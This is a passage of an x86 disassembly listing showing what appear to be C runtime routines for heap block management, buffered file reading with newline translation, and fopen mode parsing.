ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E949 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E949: ; CODE XREF: sub_41E7CD+16Dj ; sub_41E7CD+183j test ecx, ecx jl short loc_41E952 shl ecx, 1 inc edi jmp short loc_41E949 ; --------------------------------------------------------------------------- loc_41E952: ; CODE XREF: sub_41E7CD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E96F push 3Fh pop esi loc_41E96F: ; CODE XREF: sub_41E7CD+19Dj cmp esi, edi jz loc_41EA84 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E9E0 cmp edi, 20h jge short loc_41E9AF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E9DD mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E9E0 ; --------------------------------------------------------------------------- loc_41E9AF: ; CODE XREF: sub_41E7CD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E9DD mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E9E0 ; --------------------------------------------------------------------------- loc_41E9DD: ; CODE XREF: sub_41E7CD+1D6j ; sub_41E7CD+203j mov ebx, [ebp+arg_0] loc_41E9E0: ; CODE XREF: sub_41E7CD+1B0j ; sub_41E7CD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41EA90 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EA81 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41EA52 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EA40 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41EA40: ; CODE XREF: sub_41E7CD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41EA81 ; --------------------------------------------------------------------------- loc_41EA52: ; CODE XREF: sub_41E7CD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EA6B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41EA6B: ; CODE XREF: sub_41E7CD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41EA81: ; CODE XREF: sub_41E7CD+24Ej ; sub_41E7CD+283j mov ecx, [ebp+var_8] loc_41EA84: ; CODE XREF: sub_41E7CD+1A4j test ecx, ecx jz short loc_41EA93 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41EA93 ; --------------------------------------------------------------------------- loc_41EA90: ; CODE XREF: sub_41E7CD+229j mov ecx, [ebp+var_8] loc_41EA93: ; CODE XREF: sub_41E7CD+2B9j ; sub_41E7CD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41EAC9 cmp ebx, dword_4DAD94 jnz short loc_41EAC9 mov ecx, [ebp+var_4] cmp ecx, dword_4DAD8C jnz short loc_41EAC9 and dword_4DAD94, 0 loc_41EAC9: ; CODE XREF: sub_41E7CD+2E0j ; sub_41E7CD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41EAD1: ; CODE XREF: sub_41E7CD+F0j pop edi pop esi pop ebx leave retn sub_41E7CD endp ; =============== S U B R O U T I N E ======================================= sub_41EAD6 proc near ; CODE XREF: sub_41E7CD+CCp mov eax, dword_4DAD98 mov ecx, dword_4DAD88 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EB19 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DAD9C push edi push dword_4DADA0 call near ptr 2880000h nop cmp eax, edi jz short loc_41EB69 add dword_4DAD88, 10h mov dword_4DAD9C, eax mov eax, dword_4DAD98 loc_41EB19: ; CODE XREF: sub_41EAD6+11j mov ecx, dword_4DAD9C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DADA0 lea esi, [ecx+eax*4] nop call near ptr 27E0000h cmp eax, edi mov [esi+10h], eax jz short loc_41EB69 push 4 push 2000h push 100000h push edi nop call near ptr 2670C54h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EB6D push dword ptr [esi+10h] push edi push dword_4DADA0 nop call near ptr 27D0000h loc_41EB69: ; CODE XREF: sub_41EAD6+30j ; sub_41EAD6+67j xor eax, eax jmp short loc_41EB84 ; --------------------------------------------------------------------------- loc_41EB6D: ; CODE XREF: sub_41EAD6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DAD98 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EB84: ; CODE XREF: sub_41EAD6+95j pop edi pop esi retn sub_41EAD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB87 proc near ; CODE XREF: sub_41E7CD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EB99: ; CODE XREF: sub_41EB87+19j test eax, eax jl short loc_41EBA2 shl eax, 1 inc ebx jmp short loc_41EB99 ; --------------------------------------------------------------------------- loc_41EBA2: ; CODE XREF: sub_41EB87+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EBB7: ; CODE XREF: sub_41EB87+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EBB7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 2670C54h nop test eax, eax jnz short loc_41EBEA or eax, 0FFFFFFFFh jmp loc_41EC7D ; --------------------------------------------------------------------------- loc_41EBEA: ; CODE XREF: sub_41EB87+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EC30 lea eax, [edi+10h] loc_41EBF7: ; CODE XREF: sub_41EB87+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EBF7 loc_41EC30: ; CODE XREF: sub_41EB87+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EC6D or [eax+4], edi loc_41EC6D: ; CODE XREF: sub_41EB87+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EC7D: ; CODE XREF: sub_41EB87+5Ej pop edi pop esi pop ebx leave retn sub_41EB87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC82 proc near ; CODE XREF: sub_41BB48+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41EE30 test bl, 1 jnz loc_41EE29 add ebx, ecx cmp esi, ebx jg loc_41EE29 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41ECF9 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41ECF9: ; CODE XREF: sub_41EC82+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41ED49 cmp ecx, 20h jnb short loc_41ED25 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41ED49 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41ED49 ; --------------------------------------------------------------------------- loc_41ED25: ; CODE XREF: sub_41EC82+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41ED49 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41ED49: ; CODE XREF: sub_41EC82+7Dj ; sub_41EC82+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41EE17 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41ED83 push 3Fh pop edi loc_41ED83: ; CODE XREF: sub_41EC82+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41EE05 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41EDDC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EDCF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41EDCF: ; CODE XREF: sub_41EC82+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41EE01 ; --------------------------------------------------------------------------- loc_41EDDC: ; CODE XREF: sub_41EC82+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EDF2 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41EDF2: ; CODE XREF: sub_41EC82+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41EE01: ; CODE XREF: sub_41EC82+158j shr edx, cl or [eax], edx loc_41EE05: ; CODE XREF: sub_41EC82+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41EE1A ; --------------------------------------------------------------------------- loc_41EE17: ; CODE XREF: sub_41EC82+E5j mov edx, [ebp+arg_4] loc_41EE1A: ; CODE XREF: sub_41EC82+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41EF70 ; --------------------------------------------------------------------------- loc_41EE29: ; CODE XREF: sub_41EC82+52j ; sub_41EC82+5Cj xor eax, eax jmp loc_41EF73 ; --------------------------------------------------------------------------- loc_41EE30: ; CODE XREF: sub_41EC82+49j jge loc_41EF70 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41EE5B push 3Fh pop esi loc_41EE5B: ; CODE XREF: sub_41EC82+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41EEEA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EE74 push 3Fh pop esi loc_41EE74: ; CODE XREF: sub_41EC82+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41EEC3 cmp esi, 20h jnb short loc_41EE9F mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41EEC0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EEC0 ; --------------------------------------------------------------------------- loc_41EE9F: ; CODE XREF: sub_41EC82+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EEC0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EEC0: ; CODE XREF: sub_41EC82+214j ; sub_41EC82+21Bj ... mov ebx, [ebp+arg_4] loc_41EEC3: ; CODE XREF: sub_41EC82+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EEEA push 3Fh pop esi loc_41EEEA: ; CODE XREF: sub_41EC82+1DDj ; sub_41EC82+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41EF67 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41EF3E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EF31 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41EF31: ; CODE XREF: sub_41EC82+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41EF63 ; --------------------------------------------------------------------------- loc_41EF3E: ; CODE XREF: sub_41EC82+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EF54 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41EF54: ; CODE XREF: sub_41EC82+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41EF63: ; CODE XREF: sub_41EC82+2BAj shr edx, cl or [eax], edx loc_41EF67: ; CODE XREF: sub_41EC82+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41EF70: ; CODE XREF: sub_41EC82+1A2j ; sub_41EC82:loc_41EE30j push 1 pop eax loc_41EF73: ; CODE XREF: sub_41EC82+1A9j pop edi pop esi pop ebx leave retn sub_41EC82 endp ; =============== S U B R O U T I N E ======================================= sub_41EF78 proc near ; CODE XREF: sub_41BA60+A9p ; sub_41C2CF+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F04C test al, 40h jnz loc_41F04C test al, 2 jz short loc_41EF9E or al, 20h mov [esi+0Ch], eax jmp loc_41F04C ; --------------------------------------------------------------------------- loc_41EF9E: ; CODE XREF: sub_41EF78+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41EFB2 push esi call sub_4238F7 pop ecx jmp short loc_41EFB7 ; --------------------------------------------------------------------------- loc_41EFB2: ; CODE XREF: sub_41EF78+2Fj mov eax, [esi+8] mov [esi], eax loc_41EFB7: ; CODE XREF: sub_41EF78+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F051 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F03B cmp eax, 0FFFFFFFFh jz short loc_41F03B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F010 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41EFF9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DAA60[edi*4] lea edi, [edi+ecx*8] jmp short loc_41EFFE ; --------------------------------------------------------------------------- loc_41EFF9: ; CODE XREF: sub_41EF78+6Bj mov edi, offset dword_43ACE0 loc_41EFFE: ; CODE XREF: sub_41EF78+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F010 or dh, 20h mov [esi+0Ch], edx loc_41F010: ; CODE XREF: sub_41EF78+62j ; sub_41EF78+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F02D mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F02D test ch, 4 jnz short loc_41F02D mov dword ptr [esi+18h], 1000h loc_41F02D: ; CODE XREF: sub_41EF78+9Fj ; sub_41EF78+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F03B: ; CODE XREF: sub_41EF78+55j ; sub_41EF78+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F04C: ; CODE XREF: sub_41EF78+Aj ; sub_41EF78+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41EF78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F051 proc near ; CODE XREF: sub_41BA60+90p ; sub_41EF78+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DAB60 jnb loc_41F22E mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DAA60h[eax*4] mov eax, dword_4DAA60[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F22E and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F106 test dl, 2 jnz short loc_41F106 test dl, 48h jz short loc_41F0C6 mov al, [eax+5] cmp al, 0Ah jz short loc_41F0C6 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F0C6: ; CODE XREF: sub_41F051+56j ; sub_41F051+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call near ptr 27110B5h nop test eax, eax jnz short loc_41F119 call near ptr 26A0EA9h nop push 5 pop ecx cmp eax, ecx jnz short loc_41F101 mov dword_4D9714, 9 mov dword_4D9718, ecx jmp loc_41F23F ; --------------------------------------------------------------------------- loc_41F101: ; CODE XREF: sub_41F051+99j cmp eax, 6Dh jnz short loc_41F10D loc_41F106: ; CODE XREF: sub_41F051+4Cj ; sub_41F051+51j xor eax, eax jmp loc_41F242 ; --------------------------------------------------------------------------- loc_41F10D: ; CODE XREF: sub_41F051+B3j push eax call sub_420314 pop ecx jmp loc_41F23F ; --------------------------------------------------------------------------- loc_41F119: ; CODE XREF: sub_41F051+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F229 test edx, edx jz short loc_41F13E cmp byte ptr [edi], 0Ah jnz short loc_41F13E or al, 4 jmp short loc_41F140 ; --------------------------------------------------------------------------- loc_41F13E: ; CODE XREF: sub_41F051+E2j ; sub_41F051+E7j and al, 0FBh loc_41F140: ; CODE XREF: sub_41F051+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F223 loc_41F158: ; CODE XREF: sub_41F051+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F213 cmp al, 0Dh jz short loc_41F174 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F205 ; --------------------------------------------------------------------------- loc_41F174: ; CODE XREF: sub_41F051+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F192 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F189 add [ebp+arg_8], 2 jmp short loc_41F1E7 ; --------------------------------------------------------------------------- loc_41F189: ; CODE XREF: sub_41F051+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F205 ; --------------------------------------------------------------------------- loc_41F192: ; CODE XREF: sub_41F051+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 27110B5h test eax, eax jnz short loc_41F1BA nop call near ptr 26A0EA9h test eax, eax jnz short loc_41F201 loc_41F1BA: ; CODE XREF: sub_41F051+15Dj cmp [ebp+var_C], 0 jz short loc_41F201 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F1DC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F1E7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F205 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41F051+176j cmp edi, [ebp+arg_4] jnz short loc_41F1EC cmp [ebp+var_1], 0Ah jnz short loc_41F1EC loc_41F1E7: ; CODE XREF: sub_41F051+136j ; sub_41F051+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F204 ; --------------------------------------------------------------------------- loc_41F1EC: ; CODE XREF: sub_41F051+18Ej ; sub_41F051+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422633 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F205 loc_41F201: ; CODE XREF: sub_41F051+167j ; sub_41F051+16Dj mov byte ptr [edi], 0Dh loc_41F204: ; CODE XREF: sub_41F051+199j inc edi loc_41F205: ; CODE XREF: sub_41F051+11Ej ; sub_41F051+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F158 jmp short loc_41F223 ; --------------------------------------------------------------------------- loc_41F213: ; CODE XREF: sub_41F051+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F223 or al, 2 mov [esi], al loc_41F223: ; CODE XREF: sub_41F051+101j ; sub_41F051+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F229: ; CODE XREF: sub_41F051+DAj mov eax, [ebp+var_8] jmp short loc_41F242 ; --------------------------------------------------------------------------- loc_41F22E: ; CODE XREF: sub_41F051+12j ; sub_41F051+39j and dword_4D9718, 0 mov dword_4D9714, 9 loc_41F23F: ; CODE XREF: sub_41F051+ABj ; sub_41F051+C3j or eax, 0FFFFFFFFh loc_41F242: ; CODE XREF: sub_41F051+B7j ; sub_41F051+1DBj pop edi pop esi pop ebx leave retn sub_41F051 endp ; =============== S U B R O U T I N E ======================================= sub_41F247 proc near ; CODE XREF: sub_41BB48+106p ; sub_41BCAD+1Fp ... arg_0 = dword ptr 4 mov eax, dword_4D9794 test eax, eax jz short loc_41F25F push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F25F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F25F: ; CODE XREF: sub_41F247+7j ; sub_41F247+12j xor eax, eax retn sub_41F247 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F262 proc near ; CODE XREF: sub_41BC68+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4D9900 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F29B cmp al, 72h jz short loc_41F294 cmp al, 77h jnz loc_41F3AF mov ecx, 301h jmp short loc_41F2A0 ; --------------------------------------------------------------------------- loc_41F294: ; CODE XREF: sub_41F262+21j xor ecx, ecx or esi, 1 jmp short loc_41F2A3 ; --------------------------------------------------------------------------- loc_41F29B: ; CODE XREF: sub_41F262+1Dj mov ecx, 109h loc_41F2A0: ; CODE XREF: sub_41F262+30j or esi, 2 loc_41F2A3: ; CODE XREF: sub_41F262+37j push 1 pop edx loc_41F2A6: ; CODE XREF: sub_41F262+8Bj ; sub_41F262+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F395 cmp edx, ebx jz loc_41F395 movsx eax, al cmp eax, 54h jg short loc_41F334 jz short loc_41F324 sub eax, 2Bh jz short loc_41F30E sub eax, 19h jz short loc_41F304 sub eax, 0Eh jz short loc_41F2EF dec eax jnz loc_41F386 cmp [ebp+var_4], ebx jnz loc_41F386 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F2EF: ; CODE XREF: sub_41F262+6Fj cmp [ebp+var_4], ebx jnz loc_41F386 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F304: ; CODE XREF: sub_41F262+6Aj test cl, 40h jnz short loc_41F386 or ecx, 40h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F30E: ; CODE XREF: sub_41F262+65j test cl, 2 jnz short loc_41F386 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F324: ; CODE XREF: sub_41F262+60j mov eax, 1000h test ecx, eax jnz short loc_41F386 or ecx, eax jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F334: ; CODE XREF: sub_41F262+5Ej sub eax, 62h jz short loc_41F381 dec eax jz short loc_41F36A sub eax, 0Bh jz short loc_41F353 sub eax, 6 jnz short loc_41F386 test ch, 0C0h jnz short loc_41F386 or ch, 40h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F353: ; CODE XREF: sub_41F262+DDj cmp [ebp+var_8], ebx jnz short loc_41F386 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F36A: ; CODE XREF: sub_41F262+D8j cmp [ebp+var_8], ebx jnz short loc_41F386 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F381: ; CODE XREF: sub_41F262+D5j test ch, 0C0h jz short loc_41F38D loc_41F386: ; CODE XREF: sub_41F262+72j ; sub_41F262+7Bj ... xor edx, edx jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F38D: ; CODE XREF: sub_41F262+122j or ch, 80h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F395: ; CODE XREF: sub_41F262+4Aj ; sub_41F262+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42393B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F3B3 loc_41F3AF: ; CODE XREF: sub_41F262+25j xor eax, eax jmp short loc_41F3CD ; --------------------------------------------------------------------------- loc_41F3B3: ; CODE XREF: sub_41F262+14Bj mov eax, [ebp+arg_C] inc dword_4D98FC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F3CD: ; CODE XREF: sub_41F262+14Fj pop edi pop esi pop ebx leave retn sub_41F262 endp ; =============== S U B R O U T I N E ======================================= sub_41F3D2 proc near ; CODE XREF: sub_41BC68p mov edx, dword_4DAA40 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F443 mov ebx, dword_4D9A30 mov edi, ebx loc_41F3EE: ; CODE XREF: sub_41F3D2+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F409 test byte ptr [ecx+0Ch], 83h jz short loc_41F404 inc eax add edi, 4 cmp eax, edx jl short 